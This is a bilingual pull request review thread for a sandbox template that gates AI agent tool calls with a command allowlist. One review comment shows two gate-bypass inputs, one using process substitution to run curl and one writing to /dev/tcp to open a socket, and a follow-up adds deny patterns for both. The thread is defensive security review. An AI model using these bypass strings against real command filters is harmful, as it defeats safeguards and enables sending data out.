examples: agent-host tool-policy BYOI template (#645)

[cgflag]

Summary

#645 scenario template (tip updated): agent-host tool argv policy + BYOI image with real guest runner — same shelf as network-policy (egress), not another language runtime.

• One directory examples/agent-tool-allowlist-sandbox/: Dockerfile + /usr/local/bin/cube-tool + host gate + deny/allow/limits/guest_runner/checkpoint/egress/fanout + unit tests + cluster smoke
• Docs index (EN/ZH) registers it; quickstart keeps a pointer only
• README now states resources + an explicit answer to the #1062 close notes

Addresses #1062 close notes

Close note	How this PR answers
“Thin tool restriction on code-interpreter; not a brand-new example”	Own OCI image + in-guest cube-tool re-check of tool-profile.txt + verify_template.py; product is host+guest tool policy, not a second sandbox-code tutorial
“No real-cluster screenshots/logs”	Cluster evidence already on this PR (template tpl-ed31b31edc1c455b9d2db65d / demos green); host unittest 13 OK

Honest limits: host policy ≠ guest confinement; tool_agent_loop.py is fixed proposals, not an LLM.

Test plan

• python -m unittest test_tool_allowlist.py -v
• python tool_allowlist_limits.py → LIMITS_DEMO_OK
• python tool_allowlist_deny.py
• Build/register per README → python verify_template.py → TEMPLATE_VERIFY_OK
• Optional cluster stack: guest_runner / allow / checkpoint / egress / fanout / loop

[cgflag]

新一轮 bot：只修较严重项（aeb3c49）

项	处理
load_dotenv(Path) 在旧 dotenv 上 TypeError	requirements 钉 python-dotenv>=0.17.0，并 str(path)
5 处 exit_code 转换易漂移	抽出 coerce_exit_code / exit_code_from_exc，各 demo 共用

未改：IFS hardening nit、单测 assertNotIn(''''') 建议。

Assisted-by: Cursor:Composer

[cubesandboxbot]

Suggestion: use command -v "$tool" without -- for POSIX portability

The -- terminator after command -v is accepted by bash, dash, and busybox ash, but POSIX command does not require it to be recognized in -v mode. On a strictly POSIX-minimal /bin/sh, -- could be treated as the operand name to look up, causing command -v to always return empty and the wrapper to refuse all tools.

Since $tool is already validated against [A-Za-z0-9._-] in the preceding case statement, there's no injection concern from dropping the -- separator.

[cubesandboxbot]

Nit: inconsistent from __future__ import annotations

tool_allowlist.py uses PEP 585 generic syntax (frozenset[str]) without from __future__ import annotations, while tool_agent_loop.py and test_tool_allowlist.py both include the future import. This works on Python 3.9+ (the 3.10+ stated in README covers it), but adding the future import here too would:

1. Keep all three modules consistent
2. Guard against any accidental runtime annotation evaluation if this module grows in the future

Completely non-blocking — just a consistency polish.

[cubesandboxbot]

Clarify: nothing listens on port 49983 / /health

The template registration command passes --probe-path /health for port 49983, but the Dockerfile only EXPOSEs the port — nothing inside the image actually serves that port or handles /health requests. If the platform's probe mechanism requires a successful response for template registration to complete, this may fail or timeout.

If the probe is informational / tolerated by the platform, consider noting that briefly so readers aren't confused when it doesn't return a meaningful health payload.

[cgflag]

Bot follow-up (8a305cc)

Worth fixing / clarifying from the latest review:

1. guest/cube-tool — dropped command -v -- / basename -- for broader POSIX /bin/sh portability.
2. README EN/ZH + Dockerfile — clarified that probe 49983 /health hits envd from cubesandbox-base (inherited entrypoint); this image only EXPOSEs the port and does not add its own health server.

Skipped: IFS reset / empty-string assert nits; from __future__ import annotations already present in tool_allowlist.py.

[cubesandboxbot]

Minor: table ordering suggestion

Since "Agent" (A) alphabetically precedes both "Code" (C) and "Browser" (B), consider moving this entry to the top of the table (before "Code Sandbox Quickstart") for consistency. The existing table has a weak first-letter alphabetical convention, and the A-prefixed entry fits best at the start.

[cubesandboxbot]

建议：表格排序位置

与英文版一样，由于"Agent"（A）在字母序上排在"代码沙箱"（代）和"浏览器沙箱"（浏）之前，建议将新行移到表格最上方（"代码沙箱快速入门"之前），以便与表格的近似字母序惯例保持一致。

[cubesandboxbot]

Minor: the case pattern already rejects / and \ — the later basename check (around line 48-53) is a defense-in-depth guard

The case pattern on this line already rejects any input containing / or \, making the basename mismatch check at lines 48-53 unreachable for standard path-hijack scenarios. Consider adding a brief comment on lines 47-53 noting that this is defense-in-depth against subtler PATH manipulation (e.g., a wrapper script named echo appearing earlier in PATH than /bin/echo).

[cgflag]

最终合入请求（以 tip 8a305cc 为准）

@fslongjin 请以当前分支 tip审阅；中间评论里「fold 进 quickstart / 仅 redirect」等旧定位已作废。

当前形态

项	内容
目录	examples/agent-tool-allowlist-sandbox/ 自包含（Dockerfile + guest cube-tool + host 门控 + demos + 单测 + 双语 README）
Docs	EN/ZH examples 索引已登记；quickstart 仅保留指针
边界	host argv 策略 ≠ guest confinement；tool_agent_loop 是固定提案环，不是 LLM

对照关闭意见（#1062）

1. 不宜薄包装当新 example → tip 镜像内装真实 /usr/local/bin/cube-tool（对照 tool-profile.txt 再 exec），构建期自测 deny bash
2. 真集群证据 → 已在本 PR 评论贴出（模板 tpl-ed31b31edc1c455b9d2db65d / agent-tool-allowlist-v2；verify / guest_runner / allow / checkpoint / egress / fanout / loop 全绿）

#645

硬门槛（可构建模板 + 可跑示例 + README + 索引）与鼓励项（pause/resume、CIDR egress、多沙箱 fan-out）均已覆盖。

请求

请考虑 merge。若还需改命名/目录/证据格式，直接点即可。

Assisted-by: Cursor:Composer

[cgflag]

@fslongjin 按 #1062 关闭意见重对过一遍（tip 8987c47），请以当前 PR 正文 + tip为准审阅。

关闭意见 → 现状

1. 不宜把薄门控当全新 example → 现为自包含 BYOI：镜像内 /usr/local/bin/cube-tool 对照 tool-profile.txt 再 exec；产品定位与 network-policy 同层（平台控制面场景），不是第二份 sandbox-code 教程，也不是语言运行时。
2. 缺真集群证据 → 本 PR 评论已贴模板 tpl-ed31b31edc1c455b9d2db65d / verify·guest_runner·checkpoint·egress·fanout·loop 全绿截图与日志。

#645 门槛

可构建模板 + 可跑示例 + README（含资源建议 / 已知限制）+ docs 索引；并覆盖 pause / CIDR egress / 多沙箱扇出。

若你仍认为该方向不适合进 examples/，请直接说期望落点（例如只进 docs tutorial / 关闭），我按维护者偏好改，不再来回翻定位。

[cubesandboxbot]

_SHELL_META_CHARS omits <, (, >, / — the characters that compose bash-only constructs. Since commands.run() executes the string through a shell (envd POST :49983/process, and the base image's user account defaults to /bin/bash), these slip past the gate while argv0 stays allowlisted:

• cat <(curl -s https://example.com) — process substitution actually runs curl inside the guest; argv0 is cat, which is allowlisted.
• echo x > /dev/tcp/host/80 — bash pseudo-device opens a TCP connection and sends data using only allowlisted echo.

The README's residual list covers echo … > file as "guest write" and cat < file as "input redirect", but not these two variants, which execute arbitrary commands / open sockets — exactly what the "host refuses illegal tools" claim is meant to stop. The shipped demos are safe because they run airgapped, but for a template whose whole point is agent tool policy, consider rejecting <( / /dev/tcp (or at minimum documenting them in the residuals list).

[cubesandboxbot]

This "sandbox count unchanged through early denies" assertion is vacuous: CubeAPI/src/handlers/health.rs currently returns sandboxes: 0 unconditionally, so after_deny != baseline can never fire no matter what the gate does. The docstring lists "/health sandboxes count must stay flat" as a hardening property, but against the current CubeAPI it proves nothing. Fine to keep as a smoke check (and it'll become meaningful if CubeAPI ever reports real counts), but the claim is stronger than the check.

[cubesandboxbot]

Minor accuracy nit: the base image ghcr.io/tencentcloud/cubesandbox-base:2026.16 is built from docker/Dockerfile.cube-base, which installs curl (apt-get install ... curl ...). So the "Skip apt unless INSTALL_CURL=1" comment here, the README's "Default build does not apt-install curl", and the "curl not in image → skip airgap probe" branches in tool_agent_loop.py / tool_allowlist_egress.py are effectively dead — curl is always present. Not a functional problem (the demos handle both cases), just reconcile the docs with reality.

[cubesandboxbot]

Two nits here: (1) the demos actually write to /tmp (/tmp/agent_loop.txt, /tmp/allowlist_checkpoint.txt, /tmp/tool_out.txt), not /workspace, so the "demos write under /workspace" hint is inaccurate. (2) If a user follows this and does write to /workspace, it will fail: the base image's default command user is user (uid 1000, see docker/Dockerfile.cube-base), while COPY workspace/ /workspace/ creates a root-owned 0755 directory. Either chown/chmod /workspace in the Dockerfile or fix the doc.

[cgflag]

Bot follow-up (cubesandboxbot 2026-08-01)

Addressed the serious / accuracy items from the latest review on tip:

Finding	Action
Process substitution / /dev/tcp keep argv0 allowlisted	Deny <( >( /dev/tcp/ /dev/udp/ in host gate + tests + limits demo
Resources said demos write /workspace (actually /tmp); /workspace root-owned	Doc → /tmp; Dockerfile chown 1000:1000 /workspace
curl “not installed” narrative vs base image	Docs/comments: base already has curl; INSTALL_CURL=1 defensive only
/health sandboxes claim too strong	Softened to forward-compatible smoke (API currently returns 0)

Host unittest: 14 OK; LIMITS_DEMO_OK.

[cubesandboxbot]

This base=$(basename "$bin") / [ "$base" != "$tool" ] guard is effectively dead code and cannot detect the hijack its comment describes. After the case pattern above rejects any tool name containing /, \, or a leading ., command -v "$tool" can only return either a bare name (a shell builtin such as echo/pwd) or a path whose basename equals $tool — so $base != $tool never fires. The realistic hijack (a user-writable directory earlier in PATH containing an executable named like an allowlisted tool) keeps basename(...) == "$tool", so this check passes straight through it.

Since in-VM code execution already makes PATH hijacking moot, this isn't a security hole — but the comment overstates what the check does. Consider either removing the check and comment, or making it meaningful (e.g. verifying the resolved path is under a trusted directory like /usr/bin//bin, or invoking with a fixed PATH).

[cubesandboxbot]

This after_deny != baseline equality check can only false-fail on a shared cluster: if any other sandbox is created or destroyed between the two /health polls (e.g. a leftover sandbox from a previous demo run is reaped), the demo aborts with "sandbox count changed during denies" even though the gate behaved correctly. And as the comment below notes, CubeAPI currently returns sandboxes=0 unconditionally, so in the common case the check verifies nothing — it only ever risks a spurious failure. Consider relaxing it to after_deny > baseline (fail only if the count grew during the deny phase) or downgrading it to a printed warning.

[cubesandboxbot]

is_allowlisted() is documented and annotated as a boolean predicate, but it raises ValueError (instead of returning False) when extra_binaries is passed without allow_unsafe_allowlist_extension=True — the raise happens inside _resolve_allowed, before the membership check. This is a deliberate fail-loud design (locked in by test_extra_binaries_require_unsafe_flag and exercised by tool_allowlist_limits.py), but it means callers who treat is_allowlisted as a pure bool guard will be surprised by an exception rather than a False. Worth a sentence in the docstring so "not allowlisted" and "misconfigured call" are distinguishable to readers.

[cgflag]

Reshape toward open-box template (happy path)

Addressing the #1062-style feedback that this should read like nginx/pi examples rather than a thin policy demo stack:

1. Workload: image ships toolbox-hello (writes /workspace/out/hello.txt, prints WORKLOAD_OK); build-time self-check via cube-tool toolbox-hello.
2. Single entry: python run.py → host deny → MicroVM → workload → artifact → guest deny → RUN_OK. verify_template.py is a thin alias.
3. README: Build → Register → Configure → Run (+ resource table); advanced demos moved under extras/.

Tip: 85ba1c5. Host unit tests: 15 OK.

[cubesandboxbot]

This documented command is broken. python -m extras.tool_allowlist_limits from the example root puts only the example root on sys.path, but the extras scripts do an absolute import _path (extras/_path.py). Since _path is not a top-level module there, this raises ModuleNotFoundError: No module named '_path' — import _path searches sys.path, not the extras package path.

The script-direct form works because sys.path[0] becomes the script's own directory (extras/), and _path.py then inserts the example root for the tool_allowlist import. Suggest dropping the -m variant here (keep python extras/tool_allowlist_limits.py), or making the sys.path shim tolerant of both invocation styles (e.g. try: import _path; except ModuleNotFoundError: ...).

[cubesandboxbot]

Naming/marker mismatch: this root-level verify_template.py is an alias of run.py and prints RUN_OK, while extras/verify_template.py is a different script that prints TEMPLATE_VERIFY_OK. The PR description's test plan says python verify_template.py → TEMPLATE_VERIFY_OK, which only holds for the extras/ copy — a reader at the example root sees RUN_OK. Likewise extras/README.md lists verify_template.py → TEMPLATE_VERIFY_OK while this README calls it "a thin alias of the same path". Consider renaming one of the two files (e.g. extras/verify_template.py → extras/verify_extras_template.py), or aligning the PR description / docs with the actual output of each.